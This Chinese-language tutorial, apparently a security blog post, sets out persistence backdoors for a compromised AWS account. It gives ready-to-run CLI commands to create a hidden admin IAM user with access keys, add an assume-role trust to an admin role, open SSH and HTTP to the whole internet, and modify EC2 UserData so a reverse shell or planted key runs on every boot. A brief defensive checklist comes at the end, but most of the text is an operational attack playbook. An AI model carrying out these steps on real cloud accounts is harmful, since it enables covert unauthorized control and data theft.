aws之创建后门实现持久化利用的方式
字数 939 2025-08-22 12:23:25
AWS持久化后门利用技术详解
1. 创建后门用户与访问密钥
1.1 创建后门用户
当获得高权限AWS账户后,首先应创建一个隐藏的后门用户:
aws iam create-user --user-name backdor
1.2 分配管理员权限
为新创建的用户附加管理员策略:
aws iam attach-user-policy --user-name backdor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
1.3 创建访问密钥
为后门用户生成访问密钥:
aws iam create-access-key --user-name backdor
返回结果包含AccessKeyId和SecretAccessKey,需妥善保存:
{
"AccessKey": {
"UserName": "backdor",
"AccessKeyId": "xxxxxxx",
"Status": "Active",
"SecretAccessKey": "xxxxxx",
"CreateDate": "2025-01-05T13:55:03Z"
}
}
2. AssumeRole持久化技术
2.1 基本概念
- IAM用户:具有长期凭证的固定身份
- IAM角色:无长期凭证的虚拟身份,通过AssumeRole获取临时凭证
2.2 创建普通用户
aws iam create-user --user-name normal
2.3 创建AssumeRole策略
创建JSON策略文件1.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::985539798290:user/normal"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
2.4 创建角色并附加策略
aws iam create-role --role-name back2 --assume-role-policy-document file:///root/1.json
aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name back2
2.5 使用STS AssumeRole
aws sts assume-role --role-arn arn:aws:iam::xxxxxxxxxxxx:role/back2 --role-session-name back2-session --profile 后门用户的配置文件
返回临时凭证:
{
"Credentials": {
"AccessKeyId": "ASIA....",
"SecretAccessKey": "secret....",
"SessionToken": "session....",
"Expiration": "2025-01-01T12:00:00Z"
},
"AssumedRoleUser": {
"AssumedRoleId": "ARO....",
"Arn": "xxxx"
}
}
注意:临时凭证有有效期限制,需要定期更新。
3. 修改EC2安全组实现持久化
3.1 创建开放的安全组
aws ec2 create-security-group --group-name my-security-group --description "My new security group"
3.2 添加入站规则
开放22和80端口:
aws ec2 authorize-security-group-ingress --group-id sg-00380a8bac3c737b8 --protocol tcp --port 22 --cidr 0.0.0.0/0
aws ec2 authorize-security-group-ingress --group-id sg-00380a8bac3c737b8 --protocol tcp --port 80 --cidr 0.0.0.0/0
3.3 查询实例ID
aws ec2 describe-instances
3.4 修改实例安全组
aws ec2 modify-instance-attribute --instance-id i-0183d702137794a80 --groups sg-00380a8bac3c737b8
4. 利用EC2 UserData实现持久化
4.1 UserData基本概念
UserData脚本在EC2实例首次启动时自动运行,通过配置可实现每次重启都运行。
4.2 关键配置
脚本中必须包含:
#cloud-config
cloud_final_modules:
- [scripts-user, always]
4.3 操作步骤
- 停止目标实例:
aws ec2 stop-instances --instance-ids i-xxx
-
编辑UserData(通过控制台或CLI)
-
添加持久化脚本,例如反弹shell或写入公钥
-
启动实例
4.4 查看现有UserData
aws ec2 describe-instance-attribute --instance-id i-0183d702137794a80 --attribute userData --query "UserData.Value"
返回Base64编码内容,解码后可见实际脚本。
5. 防御建议
- 最小权限原则:严格限制IAM用户和角色的权限
- 监控异常活动:启用CloudTrail记录所有API调用
- 定期轮换凭证:定期更换访问密钥
- 安全组审核:定期检查安全组规则,避免0.0.0.0/0开放
- UserData审查:检查EC2实例的UserData内容
- MFA启用:为高权限账户启用多因素认证
6. 总结
AWS环境中持久化后门技术主要包括:
- 创建隐藏的高权限用户和访问密钥
- 利用AssumeRole机制获取临时凭证
- 修改安全组规则开放关键端口
- 利用UserData实现脚本级持久化
防御方应全面监控这些关键点,及时发现和阻断攻击者的持久化尝试。